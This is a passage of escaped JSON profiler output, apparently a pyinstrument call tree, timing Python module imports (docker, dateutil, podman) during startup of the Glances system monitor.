0.0040671399983693846},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/__init__.py\\u00001\",\"time\": 0.004067,\"attributes\": {\"l2\": 0.0019955169991590083, \"l3\": 0.0020716229992103763},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.004067,\"attributes\": {\"l1371\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.004067,\"attributes\": {\"l1342\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004067,\"attributes\": {\"l938\": 0.0040671399983693846},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004067,\"attributes\": {\"cSourceFileLoader\": 0.0040671399983693846, \"l762\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004067,\"attributes\": {\"l491\": 0.0040671399983693846},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/build.py\\u00001\",\"time\": 0.001996,\"attributes\": {\"l4\": 0.0019955169991590083},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001996,\"attributes\": {\"l1371\": 0.0019955169991590083},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001996,\"attributes\": {\"l1333\": 0.0019955169991590083},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.001996,\"attributes\": {\"l1267\": 0.0019955169991590083},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.001996,\"attributes\": {\"cPathFinder\": 0.0019955169991590083, \"l1295\": 0.0019955169991590083},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.001996,\"attributes\": {\"cPathFinder\": 0.0019955169991590083, \"l1269\": 0.0019955169991590083},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001360\",\"time\": 0.001996,\"attributes\": {\"cFileFinder\": 0.0019955169991590083, \"l1399\": 0.0019955169991590083},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u00001\",\"time\": 0.002072,\"attributes\": {\"l4\": 0.0020716229992103763},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.002072,\"attributes\": {\"l1426\": 0.0020716229992103763},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002072,\"attributes\": {\"l491\": 0.0020716229992103763},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002072,\"attributes\": {\"l1371\": 0.0020716229992103763},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002072,\"attributes\": {\"l1342\": 0.0020716229992103763},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002072,\"attributes\": {\"l938\": 0.0020716229992103763},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002072,\"attributes\": {\"cSourceFileLoader\": 0.0020716229992103763, \"l758\": 0.0020716229992103763},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002072,\"attributes\": {\"cSourceFileLoader\": 0.0020716229992103763, \"l891\": 0.0020716229992103763},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002072,\"attributes\": {\"l514\": 0.0020716229992103763},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002072,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002072,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003931,\"attributes\": {\"l1371\": 0.001929603997268714, \"l1368\": 0.002001197004574351},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001930,\"attributes\": {\"l1342\": 0.001929603997268714},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001930,\"attributes\": {\"l938\": 0.001929603997268714},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001930,\"attributes\": {\"cSourceFileLoader\": 0.001929603997268714, \"l762\": 0.001929603997268714},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001930,\"attributes\": {\"l491\": 0.001929603997268714},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/build.py\\u00001\",\"time\": 0.001930,\"attributes\": {\"l8\": 0.001929603997268714},\"children\": [{\"identifier\": \"getLogger\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/logging/__init__.py\\u00002129\",\"time\": 0.001930,\"attributes\": {\"l2137\": 0.001929603997268714},\"children\": [{\"identifier\": \"getLogger\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/logging/__init__.py\\u00001362\",\"time\": 0.001930,\"attributes\": {\"cManager\": 0.001929603997268714, \"l1390\": 0.001929603997268714},\"children\": [{\"identifier\": \"_fixupParents\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/logging/__init__.py\\u00001410\",\"time\": 0.001930,\"attributes\": {\"cManager\": 0.001929603997268714, \"l1429\": 0.001929603997268714},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001930,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000<frozen importlib._bootstrap>\\u0000423\",\"time\": 0.002001,\"attributes\": {\"c_ModuleLockManager\": 0.002001197004574351, \"l424\": 0.002001197004574351},\"children\": [{\"identifier\": \"release\\u0000<frozen importlib._bootstrap>\\u0000372\",\"time\": 0.002001,\"attributes\": {\"c_ModuleLock\": 0.002001197004574351, \"l373\": 0.002001197004574351},\"children\": [{\"identifier\": \"get_ident\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/client.py\\u00001\",\"time\": 0.002002,\"attributes\": {\"l3\": 0.002002084002015181},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002002,\"attributes\": {\"l1371\": 0.002002084002015181},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002002,\"attributes\": {\"l1333\": 0.002002084002015181},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.002002,\"attributes\": {\"l1267\": 0.002002084002015181},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.002002,\"attributes\": {\"cPathFinder\": 0.002002084002015181, \"l1295\": 0.002002084002015181},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.002002,\"attributes\": {\"cPathFinder\": 0.002002084002015181, \"l1269\": 0.002002084002015181},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001360\",\"time\": 0.002002,\"attributes\": {\"cFileFinder\": 0.002002084002015181, \"l1372\": 0.002002084002015181},\"children\": [{\"identifier\": \"_fill_cache\\u0000<frozen importlib._bootstrap_external>\\u00001411\",\"time\": 0.002002,\"attributes\": {\"cFileFinder\": 0.002002084002015181, \"l1415\": 0.002002084002015181},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/context/__init__.py\\u00001\",\"time\": 0.001996,\"attributes\": {\"l1\": 0.0019958159973612055},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001996,\"attributes\": {\"l1371\": 0.0019958159973612055},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001996,\"attributes\": {\"l1342\": 0.0019958159973612055},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001996,\"attributes\": {\"l938\": 0.0019958159973612055},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001996,\"attributes\": {\"cSourceFileLoader\": 0.0019958159973612055, \"l762\": 0.0019958159973612055},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001996,\"attributes\": {\"l491\": 0.0019958159973612055},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/context/api.py\\u00001\",\"time\": 0.001996,\"attributes\": {\"l12\": 0.0019958159973612055},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001996,\"attributes\": {\"l1371\": 0.0019958159973612055},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001996,\"attributes\": {\"l1327\": 0.0019958159973612055},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001996,\"attributes\": {\"l491\": 0.0019958159973612055},\"children\": [{\"identifier\": \"_lock_unlock_module\\u0000<frozen importlib._bootstrap>\\u0000466\",\"time\": 0.001996,\"attributes\": {\"l474\": 0.0019958159973612055},\"children\": [{\"identifier\": \"acquire\\u0000<frozen importlib._bootstrap>\\u0000304\",\"time\": 0.001996,\"attributes\": {\"c_ModuleLock\": 0.0019958159973612055, \"l311\": 0.0019958159973612055},\"children\": [{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000162\",\"time\": 0.001996,\"attributes\": {\"c_BlockingOnManager\": 0.0019958159973612055, \"l170\": 0.0019958159973612055},\"children\": [{\"identifier\": \"setdefault\\u0000<frozen importlib._bootstrap>\\u0000124\",\"time\": 0.001996,\"attributes\": {\"c_WeakValueDictionary\": 0.0019958159973612055, \"l133\": 0.0019958159973612055},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.002000,\"attributes\": {\"l1423\": 0.0020001140001113527},\"children\": [{\"identifier\": \"__getattr__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/dateutil/__init__.py\\u000012\",\"time\": 0.002000,\"attributes\": {\"l16\": 0.0020001140001113527},\"children\": [{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.002000,\"attributes\": {\"l88\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.002000,\"attributes\": {\"l1398\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002000,\"attributes\": {\"l1371\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002000,\"attributes\": {\"l1342\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002000,\"attributes\": {\"l938\": 0.0020001140001113527},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002000,\"attributes\": {\"cSourceFileLoader\": 0.0020001140001113527, \"l762\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002000,\"attributes\": {\"l491\": 0.0020001140001113527},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/dateutil/parser/__init__.py\\u00001\",\"time\": 0.002000,\"attributes\": {\"l2\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002000,\"attributes\": {\"l1371\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002000,\"attributes\": {\"l1342\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002000,\"attributes\": {\"l938\": 0.0020001140001113527},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002000,\"attributes\": {\"cSourceFileLoader\": 0.0020001140001113527, \"l762\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002000,\"attributes\": {\"l491\": 0.0020001140001113527},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/dateutil/parser/_parser.py\\u00001\",\"time\": 0.002000,\"attributes\": {\"l49\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.002000,\"attributes\": {\"l1423\": 0.0020001140001113527},\"children\": [{\"identifier\": \"__getattr__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/dateutil/__init__.py\\u000012\",\"time\": 0.002000,\"attributes\": {\"l16\": 0.0020001140001113527},\"children\": [{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.002000,\"attributes\": {\"l88\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.002000,\"attributes\": {\"l1398\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002000,\"attributes\": {\"l1371\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002000,\"attributes\": {\"l1342\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002000,\"attributes\": {\"l938\": 0.0020001140001113527},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002000,\"attributes\": {\"cSourceFileLoader\": 0.0020001140001113527, \"l762\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002000,\"attributes\": {\"l491\": 0.0020001140001113527},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/dateutil/relativedelta.py\\u00001\",\"time\": 0.002000,\"attributes\": {\"l11\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002000,\"attributes\": {\"l1371\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002000,\"attributes\": {\"l1342\": 0.0020001140001113527},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002000,\"attributes\": {\"l938\": 0.0020001140001113527},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002000,\"attributes\": {\"cSourceFileLoader\": 0.0020001140001113527, \"l758\": 0.0020001140001113527},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002000,\"attributes\": {\"cSourceFileLoader\": 0.0020001140001113527, \"l836\": 0.0020001140001113527},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__build_class__\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/podman.py\\u00001\",\"time\": 0.043058,\"attributes\": {\"l21\": 0.04305784299504012},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.043058,\"attributes\": {\"l1371\": 0.04305784299504012},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.043058,\"attributes\": {\"l1342\": 0.04305784299504012},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.043058,\"attributes\": {\"l938\": 0.04305784299504012},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.043058,\"attributes\": {\"cSourceFileLoader\": 0.04305784299504012, \"l762\": 0.04305784299504012},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.043058,\"attributes\": {\"l491\": 0.04305784299504012},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/__init__.py\\u00001\",\"time\": 0.043058,\"attributes\": {\"l3\": 0.04305784299504012},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.043058,\"attributes\": {\"l1371\": 0.04305784299504012},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.043058,\"attributes\": {\"l1342\": 0.04305784299504012},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.043058,\"attributes\": {\"l938\": 0.04305784299504012},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.043058,\"attributes\": {\"cSourceFileLoader\": 0.04305784299504012, \"l762\": 0.04305784299504012},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.043058,\"attributes\": {\"l491\": 0.04305784299504012},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/client.py\\u00001\",\"time\": 0.043058,\"attributes\": {\"l10\": 0.001998040999751538, \"l12\": 0.0020655089974752627, \"l13\": 0.03695059099845821, \"l16\": 0.0020437019993551075},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.043058,\"attributes\": {\"l1371\": 0.04305784299504012},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.043058,\"attributes\": {\"l1314\": 0.001998040999751538, \"l1342\": 0.04105980199528858},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001998,\"attributes\": {\"l491\": 0.001998040999751538},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001998,\"attributes\": {\"l1371\": 0.001998040999751538},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001998,\"attributes\": {\"l1342\": 0.001998040999751538},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001998,\"attributes\": {\"l938\": 0.001998040999751538},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001998,\"attributes\": {\"cSourceFileLoader\": 0.001998040999751538, \"l762\": 0.001998040999751538},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001998,\"attributes\": {\"l491\": 0.001998040999751538},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/api/__init__.py\\u00001\",\"time\": 0.001998,\"attributes\": {\"l3\": 0.001998040999751538},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001998,\"attributes\": {\"l1371\": 0.001998040999751538},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001998,\"attributes\": {\"l1342\": 0.001998040999751538},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001998,\"attributes\": {\"l938\": 0.001998040999751538},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001998,\"attributes\": {\"cSourceFileLoader\": 0.001998040999751538, \"l762\": 0.001998040999751538},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001998,\"attributes\": {\"l491\": 0.001998040999751538},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/api/client.py\\u00001\",\"time\": 0.001998,\"attributes\": {\"l20\": 0.001998040999751538},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001998,\"attributes\": {\"l1371\": 0.001998040999751538},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001998,\"attributes\": {\"l1342\": 0.001998040999751538},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001998,\"attributes\": {\"l924\": 0.001998040999751538},\"children\": [{\"identifier\": \"module_from_spec\\u0000<frozen importlib._bootstrap>\\u0000809\",\"time\": 0.001998,\"attributes\": {\"l822\": 0.001998040999751538},\"children\": [{\"identifier\": \"_init_module_attrs\\u0000<frozen importlib._bootstrap>\\u0000736\",\"time\": 0.001998,\"attributes\": {\"l801\": 0.001998040999751538},\"children\": [{\"identifier\": \"cached\\u0000<frozen importlib._bootstrap>\\u0000635\",\"time\": 0.001998,\"attributes\": {\"cModuleSpec\": 0.001998040999751538, \"l641\": 0.001998040999751538},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.041060,\"attributes\": {\"l938\": 0.04105980199528858},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.041060,\"attributes\": {\"cSourceFileLoader\": 0.04105980199528858, \"l762\": 0.03901609999593347, \"l758\": 0.0020437019993551075},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.039016,\"attributes\": {\"l491\": 0.03901609999593347},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/domain/config.py\\u00001\",\"time\": 0.002066,\"attributes\": {\"l13\": 0.0020655089974752627},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002066,\"attributes\": {\"l1371\": 0.0020655089974752627},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002066,\"attributes\": {\"l1342\": 0.0020655089974752627},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002066,\"attributes\": {\"l938\": 0.0020655089974752627},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002066,\"attributes\": {\"cSourceFileLoader\": 0.0020655089974752627, \"l762\": 0.0020655089974752627},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002066,\"attributes\": {\"l491\": 0.0020655089974752627},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/tomllib/__init__.py\\u00001\",\"time\": 0.002066,\"attributes\": {\"l7\": 0.0020655089974752627},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002066,\"attributes\": {\"l1371\": 0.0020655089974752627},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002066,\"attributes\": {\"l1342\": 0.0020655089974752627},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002066,\"attributes\": {\"l938\": 0.0020655089974752627},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002066,\"attributes\": {\"cSourceFileLoader\": 0.0020655089974752627, \"l758\": 0.0020655089974752627},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002066,\"attributes\": {\"cSourceFileLoader\": 0.0020655089974752627, \"l891\": 0.0020655089974752627},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002066,\"attributes\": {\"l514\": 0.0020655089974752627},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002066,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002066,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/domain/containers_manager.py\\u00001\",\"time\": 0.036951,\"attributes\": {\"l9\": 0.03695059099845821},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.036951,\"attributes\": {\"l1371\": 0.03695059099845821},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.036951,\"attributes\": {\"l1342\": 0.03695059099845821},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.036951,\"attributes\": {\"l938\": 0.03695059099845821},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.036951,\"attributes\": {\"cSourceFileLoader\": 0.03695059099845821, \"l762\": 0.03695059099845821},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.036951,\"attributes\": {\"l491\": 0.03695059099845821},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/domain/containers.py\\u00001\",\"time\": 0.036951,\"attributes\": {\"l14\": 0.001953432998561766, \"l15\": 0.034997157999896444},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen 